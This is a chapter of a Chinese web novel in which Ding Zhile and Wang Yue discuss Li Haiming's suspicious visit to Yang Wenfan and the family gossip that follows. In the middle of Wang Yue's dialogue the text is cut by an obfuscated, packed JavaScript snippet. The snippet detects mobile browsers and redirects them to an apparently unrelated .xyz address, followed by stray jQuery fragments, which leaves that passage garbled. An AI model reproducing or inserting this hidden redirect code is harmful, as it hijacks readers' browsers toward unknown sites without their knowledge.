2019
王悦是个怪人，莫名其妙地和丁知乐联系，又天花乱坠地讨论有的没的，看在相逢一场的份上，丁知乐勉为其难和她聊二十分钟。
杨文帆终究是回奶奶家了，按王悦推测，他本来也没想在老周家久住，没带行李箱，做家教的地点又离东城十万八千里。这些话丁知乐初闻惊奇，稍微一想就明白，亲女儿都待不住的地方，他作为外人怎么呆得住。
“你也认为文帆哥是外人？”王悦声音激动，她不常发语音，这条却是语音。
回旋镖扎在自己身上，不疼是不可能的，丁知乐吸口新鲜空气：“你凭什么以为的？”
“那你的立场呢？”
丁知乐哪有立场，斩去老周家的牵连，在杨文帆的世界，她和陌生人没有区别，她又不是周溪，可以名正言顺地叫他哥哥。
王悦不认同这条：“我都叫文帆哥，文帆哥比你大，喊他哥怎么了？”
没有相同脑回路的人是无法愉快玩耍的，丁知乐无语，发了三连串省略号。
王悦是有正经事要同丁知乐分享的，纯聊天浪费时间的事她不做，短暂插曲过后，王悦道出了最近的所见所闻。
杨暨明和黎海明交好，好的程度可以穿一条裤子，但大难临头，不，杨暨明去世后，黎海明这个人就从“世界”消失了，处理丧事和安顿家人全由王家包办。就连杨老太太去世，黎海明这个人都没露面，云江屁大点地方，真能插翅飞了不成。
丁知乐知道黎海明，更知道黎海明是谁爹。王悦的诙谐形容颇有神话故事味道，不代入具体人物可以听得津津有味。
“我爸不愿意提黎海明，我妈能说两句，按我妈的话形容，黎海明这个人会吹牛会哄人，比天上的云彩还飘。”黎海明和杨暨明两人如何认识的已经成为悬案，但好兄弟死后黎海明的态度是无比寒心的，不搭理小孩，逢年过节不看望老太太。黎海明口头中的过命兄弟也只在口中。
这种丁知乐更没有立场，只能安安静静听。
“消失就消失呗，没人盼着他出现，可就在前天和昨天，我见到了传说中的他。”王悦讲故事的能力雄厚，比得上古装剧的说书人。
丁知乐想打断王悦，黎海明长什么样穿什么她不care，她只想知道黎海明来找谁，黎海明为了什么来找人，好在王悦并没有长篇大论说废话的冲动。
王叔了解黎海明，无事不登三宝殿，没有目的，他是不会来这破小区见前同事孩子的，毕竟杨暨明死后，乘着见义勇为大巴车的噱头，人家赚得盆满钵满，车队越开越大，房子买了新的，风光劲儿无量。
初中丁知乐和黎一诺同班，确实有黎一诺家很有钱的传闻，不过用脚指头细想也能想明白，有钱程度肯定不高，育英初中部虽然牛，但云江有钱人还是选择把孩子送进私立的松林，松林管理较松、培养更全，育英能教出成绩高的学生，而松林每年都能送走大批高水平特招生。
比上不足比下有余的程度倒是可以想象，毕竟和黎一诚做朋友时，他出手很阔绰。
王悦对黎海明的认识来源于父母，影视剧中这类人该是如何，阴险狡诈，长着一张凶煞的脸，然而实际情况并非如此，黎海明笑眯眯地拎两箱纯牛奶，特别有礼貌地问候王悦她爹、王悦她妈和王悦。
“说真的，当时我都怀疑我爸妈在抹黑他了，和蔼亲切得比我亲大爷还大爷。”
丁知乐想听关键：“别废话，快点往下说。”
黎海明来西城是为了见杨文帆，当时是下午，杨文帆去做家教了，黎海明吃了闭门羹，转角去了王悦家，不过他提了五箱礼品，放杨文帆奶奶家门口三箱，那两箱奶表现出拜访王家的打算。
“大姐，我服你了，快讲关键！”
王悦继续叨叨：“你这就是纯粹没有耐心，没有铺垫是没有效果的。”
众所周知，杨文帆晚饭一般在兼职地方吃，想等到杨文帆黎海明至少得等到八点后，当时是下午三点，王家和黎海明至多聊一小时，怕场子冷王婶想把杨文帆电话直接推给黎海明，黎海明推脱说要见大侄儿本人，见了本人后直接扫码方便快捷。
“扫码？扫什么码？”
王悦声调突然变高：“对啊，扫什么码，我猛打激灵，狂拍我妈大腿，我妈只嘿嘿笑，我爸还嫌我不礼貌瞪我好几眼。”
黎海明有热场子的能力，家里的事不方便聊，孩子的成绩当孩子面不好聊，那就聊阳台养的花，聊楼下的古树，聊空气质量，聊某地的水灾，只要想聊，可以有千万个点子往外蹦。
王婶晚上要上夜班，和黎海明聊天磨得嘴皮子疼，聊了半天就借口头疼去房间休息，王悦怕自己成为话题死守阵地，耳机里的歌曲放了小一遍。
“我歌单有五十八首歌，等到文帆哥回家歌曲已经开始第二遍循环。”
王叔王婶其中一人要上夜班的话，家里的晚饭会提前，工厂八点替换人员，六点半家里就会做饭，王家晚饭简单，如果请黎海明吃饭，家中剩下的菜肯定不够格，既拉了王家面子又让黎海明看笑话。
王叔想让王婶去买菜，王婶听了险些炸毛，本来就不待见黎海明，还要请他吃饭，白菜猪肉粉条不够，还要去超市特意买菜，千钧一发之际，王悦飞速拦住妈妈：“楼下超市今天歇业，妈妈咱去哪里买菜？”
王家住的这栋楼在西门，西门离东门老远，西门有超市，东门超市前两天倒闭了，不出意外黎海明的几箱礼品都是在西门买的，王悦耍了心眼，老谋深算的黎海明不可能看不出来，母女俩要开门时，黎海明起身客套：“你们要是真请我的话，我可就真走了哈？”
本来就不想请他吃饭，给台阶下王家十分乐意，于是王婶在厨房剁猪肉，王叔和黎海明在客厅乱侃，王婶剁肉煮汤的声音特别大，黎海明的说话声在配合加大。
“脸皮厚死了，非得在我家等。”王悦越想越气，“这次等不到文帆哥那就下回呗，文帆哥开学还有段时间，我看他就是不想跑第二回。”
为了面子好看，王婶特意做了三菜一汤，最后一道菜端上桌，杨文帆奶奶家的房门响了，黎海明话没说完就慌忙走开，王悦大脑还在思考“什么花不用施肥”，黎海明那条腿就蛇一样钻出她家门了。王叔和王悦面面相觑，门关得死死的，黎海明没打算让王家加入他和杨文帆的聊天。
“我妈想看黎海明耍什么花招，但是，我爸不让我们去。”王叔认为杨文帆已成年，思想成熟、做事稳妥，应对父亲昔日的老朋友不成问题。黎海明是外人，王家对杨文帆来说何尝不是外人。
丁知乐发出疑问：“所以，这么久你讲了个空气？”
王悦有苦难言，心痛痛：“问题就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415827|163257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没听到，有未解之谜需要解决。”
黎海明从杨文帆奶奶家离开，时间大概是晚九点，楼道隔音差，王家安静，王悦在客厅能听得清清楚楚，有句话黎海明念了好几句“文帆，你再想想，你们年轻人需要用钱的地方多，叔不占你便宜，过了这村没这店”。
丁知乐：“你之前说他要扫码，这不对上了吗？”
王悦激动：“对啊，对上了。”
王悦当即告诉她爹，她爹不相信，王悦又将猜测讲给她妈听，她妈听了直摇头。
“他们都认为我多想，警告我没有影儿的事不要瞎说。”王悦期待丁知乐回答，“你呢，你认为是怎么回事？”
丁知乐的反问是脱口而出的：“你认为黎海明想找杨文帆做什么？”
杨文帆是高材生，杨文帆踏实努力，以他的眼界和胆量，未来肯定不会差，黎海明压赌杨文帆有出息，有老朋友的联系牵上关系不麻烦，有联系不是关键，问题的关键在杨文帆接不接受他的好意。
“黎海明就是吃现成的吃习惯了，沾了杨伯伯的好处，又想沾文帆哥的好处，这么多年不理文帆哥，文帆哥有出息了再来攀关系，杨奶奶病危的时候他在哪儿，杨奶奶下葬的时候他又在哪儿？”
……
云江实在小，人与人的关系实在脆弱，不知葛欢从哪里知道了黎海明见杨文帆的消息，特地丁知乐打电话询问杨文帆态度。丁知乐不明白自己何时成了杨文帆发言人，只是这舆论的漩涡越搅越乱。
王悦让丁知乐打听事情后续，丁知乐没问，葛欢询问丁知乐的问题，丁知乐不想去求证。
已入夜了，星空天花板比明月还幽静，躺在两米大床上，丁知乐烦躁地翻滚，葛欢质问的语气犹在耳畔：“你问问文帆，他是不是忘了他爸爸怎么没的？有些人可以交，有些人碰见都是晦气。”
“年轻人缺钱可以理解，但不能违背自己良心。我和老周养文帆那么多年，没自称过他父母。他有父有母，他不能忘记他爸。”
“外面的世界繁华，比起大多数，他条件是差了点，但他奶奶留给了他房子，我和他爸结婚时的……”
葛欢不相信杨文帆，周有才也旁敲侧击，父女俩上次心结没解，周有才只好派周溪问东问西：“姐姐，哥哥不会做那种事对吧？”
情况几天一变，过了三天，来往于丁知乐手机的消息更多了。
“文帆哥，真收过黎海明送的名牌鞋吗？”
“念念，当初那双名牌鞋真是黎海明买的？”
“姐姐，你和哥哥一起撒过谎对吗？”
王悦相信杨文帆为人，王叔王婶却劝王悦想开：“终究是孩子，自制力还是差点。”
葛欢大恼，据说特意跑了杨文帆奶奶家一趟，提了杨文帆就去墓地，具体说了什么不知道，只知道杨文帆回家时裤子全是泥，而“间谍”周溪称葛欢回家时眼睛红红的。
这场无声大剧里，杨文帆遭受的非议，丁知乐能体会到，起初是冲到大脑的愤恨，后来是心酸，心被一刀刀戳烂，亲友们热闹地站在旁边，一句句认定心是假的。钢铁不会痛，大树不会倒，要求杨文帆永远要用圣人标准，而用圣人标准指责的前提，是莫须有的罪证。
丁知乐永远不会问杨文帆黎海明和聊了什么，她从来不怕杨文帆不说，她从来都相信杨文帆。